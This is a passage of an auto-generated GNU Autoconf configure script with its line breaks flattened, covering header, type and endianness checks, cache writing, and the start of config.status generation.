2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then eval "$as_ac_Header=yes" else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 eval "$as_ac_Header=no" fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in fcntl.h sys/ioctl.h sys/time.h unistd.h linux/filter.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in yes:no: ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} ac_header_preproc=yes ;; no:yes:* ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} ( cat <<\_ASBOX ## ------------------------------------------ ## ## Report this to the AC_PACKAGE_NAME lists. ## ## ------------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=\$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done echo "$as_me:$LINENO: checking for an ANSI C-conforming const" >&5 echo $ECHO_N "checking for an ANSI C-conforming const... $ECHO_C" >&6 if test "${ac_cv_c_const+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { /* FIXME: Include the comments suggested by Paul. */ #ifndef __cplusplus /* Ultrix mips cc rejects this. */ typedef int charset[2]; const charset x; /* SunOS 4.1.1 cc rejects this. */ char const *const *ccp; char **p; /* NEC SVR4.0.2 mips cc rejects this. */ struct point {int x, y;}; static struct point const zero = {0,0}; /* AIX XL C 1.02.0.0 rejects this. It does not let you subtract one const X* pointer from another in an arm of an if-expression whose if-part is not a constant expression */ const char *g = "string"; ccp = &g + (g ? g-g : 0); /* HPUX 7.0 cc rejects these. */ ++ccp; p = (char**) ccp; ccp = (char const *const *) p; { /* SCO 3.2v4 cc rejects this. */ char *t; char const *s = 0 ? (char *) 0 : (char const *) 0; *t++ = 0; } { /* Someone thinks the Sun supposedly-ANSI compiler will reject this. */ int x[] = {25, 17}; const int *foo = &x[0]; ++foo; } { /* Sun SC1.0 ANSI compiler rejects this -- but not the above. */ typedef const int *iptr; iptr p = 0; ++p; } { /* AIX XL C 1.02.0.0 rejects this saying "k.c", line 2.27: 1506-025 (S) Operand must be a modifiable lvalue. */ struct s { int j; const int *ap[3]; }; struct s *b; b->j = 5; } { /* ULTRIX-32 V3.1 (Rev 9) vcc rejects this */ const int foo = 10; } #endif ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_c_const=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_c_const=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_c_const" >&5 echo "${ECHO_T}$ac_cv_c_const" >&6 if test $ac_cv_c_const = no; then cat >>confdefs.h <<\_ACEOF #define const _ACEOF fi echo "$as_me:$LINENO: checking for size_t" >&5 echo $ECHO_N "checking for size_t... $ECHO_C" >&6 if test "${ac_cv_type_size_t+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default int main () { if ((size_t *) 0) return 0; if (sizeof (size_t)) return 0; ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_type_size_t=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_type_size_t=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_type_size_t" >&5 echo "${ECHO_T}$ac_cv_type_size_t" >&6 if test $ac_cv_type_size_t = yes; then : else cat >>confdefs.h <<_ACEOF #define size_t unsigned _ACEOF fi echo "$as_me:$LINENO: checking whether time.h and sys/time.h may both be included" >&5 echo $ECHO_N "checking whether time.h and sys/time.h may both be included... $ECHO_C" >&6 if test "${ac_cv_header_time+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include int main () { if ((struct tm *) 0) return 0; ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_header_time=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_header_time=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_header_time" >&5 echo "${ECHO_T}$ac_cv_header_time" >&6 if test $ac_cv_header_time = yes; then cat >>confdefs.h <<\_ACEOF #define TIME_WITH_SYS_TIME 1 _ACEOF fi echo "$as_me:$LINENO: checking whether byte ordering is bigendian" >&5 echo $ECHO_N "checking whether byte ordering is bigendian... $ECHO_C" >&6 if test "${ac_cv_c_bigendian+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else # See if sys/param.h defines the BYTE_ORDER macro. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include int main () { #if !BYTE_ORDER || !BIG_ENDIAN || !LITTLE_ENDIAN bogus endian macros #endif ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then # It does; now see whether it defined to BIG_ENDIAN or not. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include int main () { #if BYTE_ORDER != BIG_ENDIAN not big endian #endif ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_c_bigendian=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_c_bigendian=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # It does not; compile a test program. if test "$cross_compiling" = yes; then # try to guess the endianness by grepping values into an object file ac_cv_c_bigendian=unknown cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ short ascii_mm[] = { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 }; short ascii_ii[] = { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 }; void _ascii () { char *s = (char *) ascii_mm; s = (char *) ascii_ii; } short ebcdic_ii[] = { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 }; short ebcdic_mm[] = { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 }; void _ebcdic () { char *s = (char *) ebcdic_mm; s = (char *) ebcdic_ii; } int main () { _ascii (); _ebcdic (); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then if grep BIGenDianSyS conftest.$ac_objext >/dev/null ; then ac_cv_c_bigendian=yes fi if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then if test "$ac_cv_c_bigendian" = unknown; then ac_cv_c_bigendian=no else # finding both strings is unlikely to happen, but who knows? ac_cv_c_bigendian=unknown fi fi else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { /* Are we little or big endian? From Harbison&Steele. */ union { long l; char c[sizeof (long)]; } u; u.l = 1; exit (u.c[sizeof (long) - 1] == 1); } _ACEOF rm -f conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='./conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_c_bigendian=no else echo "$as_me: program exited with status $ac_status" >&5 echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ( exit $ac_status ) ac_cv_c_bigendian=yes fi rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext fi fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_c_bigendian" >&5 echo "${ECHO_T}$ac_cv_c_bigendian" >&6 case $ac_cv_c_bigendian in yes) cat >>confdefs.h <<\_ACEOF #define WORDS_BIGENDIAN 1 _ACEOF ;; no) ;; *) { { echo "$as_me:$LINENO: error: unknown endianness presetting ac_cv_c_bigendian=no (or yes) will help" >&5 echo "$as_me: error: unknown endianness presetting ac_cv_c_bigendian=no (or yes) will help" >&2;} { (exit 1); exit 1; }; } ;; esac ac_config_files="$ac_config_files Makefile" cat >confcache <<\_ACEOF # This file is a shell script that caches the results of configure # tests run on this system so they can be shared between configure # scripts and configure runs, see configure's option --config-cache. # It is not useful on other systems. If it contains results you don't # want to keep, you may remove or edit it. # # config.status only pays attention to the cache file if you give it # the --recheck option to rerun configure. # # `ac_cv_env_foo' variables (set or unset) will be overridden when # loading this file, other *unset* `ac_cv_foo' will be assigned the # following values. _ACEOF # The following way of writing the cache mishandles newlines in values, # but we know of no workaround that is simple, portable, and efficient. # So, don't put newlines in cache variables' values. # Ultrix sh set writes to stderr and can't be redirected directly, # and sets the high bit in the cache file unless we assign to the vars. { (set) 2>&1 | case `(ac_space=' '; set | grep ac_space) 2>&1` in *ac_space=\ *) # `set' does not quote correctly, so add quotes (double-quote # substitution turns \\\\ into \\, and sed turns \\ into \). sed -n \ "s/'/'\\\\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" ;; *) # `set' quotes correctly as required by POSIX, so do not add quotes. sed -n \ "s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p" ;; esac; } | sed ' t clear : clear s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ t end /^ac_cv_env/!s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ : end' >>confcache if diff $cache_file confcache >/dev/null 2>&1; then :; else if test -w $cache_file; then test "x$cache_file" != "x/dev/null" && echo "updating cache $cache_file" cat confcache >$cache_file else echo "not updating unwritable cache $cache_file" fi fi rm -f confcache test "x$prefix" = xNONE && prefix=$ac_default_prefix # Let make expand exec_prefix. test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' # VPATH may cause trouble with some makes, so we remove $(srcdir), # ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and # trailing colons and then remove the whole line if VPATH becomes empty # (actually we leave an empty line to preserve line numbers). if test "x$srcdir" = x.; then ac_vpsub='/^[ ]*VPATH[ ]*=/{ s/:*\$(srcdir):*/:/; s/:*\${srcdir}:*/:/; s/:*@srcdir@:*/:/; s/^\([^=]*=[ ]*\):*/\1/; s/:*$//; s/^[^=]*=[ ]*$//; }' fi DEFS=-DHAVE_CONFIG_H ac_libobjs= ac_ltlibobjs= for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue # 1. Remove the extension, and $U if already installed. ac_i=`echo "$ac_i" | sed 's/\$U\././;s/\.o$//;s/\.obj$//'` # 2. Add them. ac_libobjs="$ac_libobjs $ac_i\$U.$ac_objext" ac_ltlibobjs="$ac_ltlibobjs $ac_i"'$U.lo' done LIBOBJS=$ac_libobjs LTLIBOBJS=$ac_ltlibobjs : ${CONFIG_STATUS=./config.status} ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files $CONFIG_STATUS" { echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5 echo "$as_me: creating $CONFIG_STATUS" >&6;} cat >$CONFIG_STATUS <<_ACEOF #! $SHELL # Generated by $as_me. # Run this file to recreate the current configuration. # Compiler output produced by configure, useful for debugging # configure, is in config.log if it exists. debug=false ac_cs_recheck=false ac_cs_silent=false SHELL=\${CONFIG_SHELL-$SHELL} _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF ## --------------------- ## ## M4sh Initialization. ## ## --------------------- ## # Be Bourne compatible if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then emulate sh NULLCMD=: # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then set -o posix fi DUALCASE=1; export DUALCASE # for MKS sh # Support unset when possible. if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then as_unset=unset else as_unset=false fi # Work around bugs in pre-3.0 UWIN ksh. $as_unset ENV MAIL MAILPATH PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. for as_var in \ LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ LC_TELEPHONE LC_TIME do if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then eval $as_var=C; export $as_var else $as_unset $as_var fi done # Required to use basename. if expr a : '\(a\)' >/dev/null 2>&1; then as_expr=expr else as_expr=false fi if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi # Name of the executable. as_me=`$as_basename "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)$' \| \ . : '\(.\)' 2>/dev/null || echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; } /^X\/\(\/\/\)$/{ s//\1/; q; } /^X\/\(\/\).*/{ s//\1/; q; } s/.*/./; q'` # PATH needs CR, and LINENO needs CR and PATH. # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then echo "#! /bin/sh" >conf$$.sh echo "exit 0" >>conf$$.sh chmod +x conf$$.sh if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then PATH_SEPARATOR=';' else PATH_SEPARATOR=: fi rm -f conf$$.sh fi as_lineno_1=$LINENO as_lineno_2=$LINENO as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` test "x$as_lineno_1" != "x$as_lineno_2" && test "x$as_lineno_3" = "x$as_lineno_2" || { # Find who we are. Look in the path if we contain no path at all # relative or not. case $0 in *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then { { echo "$as_me:$LINENO: error: cannot find myself; rerun with an absolute path" >&5 echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2;} { (exit 1); exit 1; }; } fi case $CONFIG_SHELL in '') as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for as_base in sh bash ksh sh5; do case $as_dir in /*) if ("$as_dir/$as_base" -c ' as_lineno_1=$LINENO as_lineno_2=$LINENO as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` test "x$as_lineno_1" != "x$as_lineno_2" && test "x$as_lineno_3" = "x$as_lineno_2" ') 2>/dev/null; then $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; } $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; } CONFIG_SHELL=$as_dir/$as_base export CONFIG_SHELL exec "$CONFIG_SHELL" "$0" ${1+"$@"} fi;; esac done done ;; esac # Create $as_me.lineno as a copy of $as_myself, but with $LINENO # uniformly replaced by the line number. The first 'sed' inserts a # line-number line before each line; the second 'sed' does the real # work. The second script uses 'N' to pair each line-number line # with the numbered line, and appends trailing '-' during # substitution so that $LINENO is not a special case at line end. # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-) sed '=' <$as_myself | sed ' N s,$,-, : loop s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3, t loop s,-$,, s,^['$as_cr_digits']*\n,, ' >$as_me.lineno && chmod +x $as_me.lineno || { { echo "$as_me:$LINENO: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&5 echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2;} { (exit 1); exit 1; }; } # Don't try to exec as it changes $[0], causing all sort of problems # (the dirname of $[0] is not the place where we might find the # original and so on. Autoconf is especially sensible to this). . ./$as_me.lineno # Exit status is that of the last command. exit } case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in *c*,-n*) ECHO_N= ECHO_C=' ' ECHO_T=' ' ;; *c*,* ) ECHO_N=-n ECHO_C= ECHO_T= ;; *) ECHO_N= ECHO_C='\c' ECHO_T= ;; esac if expr a : '\(a\)' >/dev/null 2>&1; then as_expr=expr else as_expr=false fi rm -f conf$$ conf$$.exe conf$$.file echo >conf$$.file if ln -s conf$$.file conf$$ 2>/dev/null; then # We could just check for DJGPP; but this test a) works b) is more generic # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04). if test -f conf$$.exe; then # Don't use ln at all; we don't have any links as_ln_s='cp -p' else as_ln_s='ln -s' fi elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.file if mkdir -p . 2>/dev/null; then as_mkdir_p=: else test -d ./-p && rmdir ./-p as_mkdir_p=false fi as_executable_p="test -f" # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" # IFS # We need space, tab and new line, in precisely that order. as_nl=' ' IFS=" $as_nl" # CDPATH. $as_unset CDPATH exec 6>&1 # Open the log real soon, to keep \$[0] and so on meaningful, and to # report actual input values of CONFIG_FILES 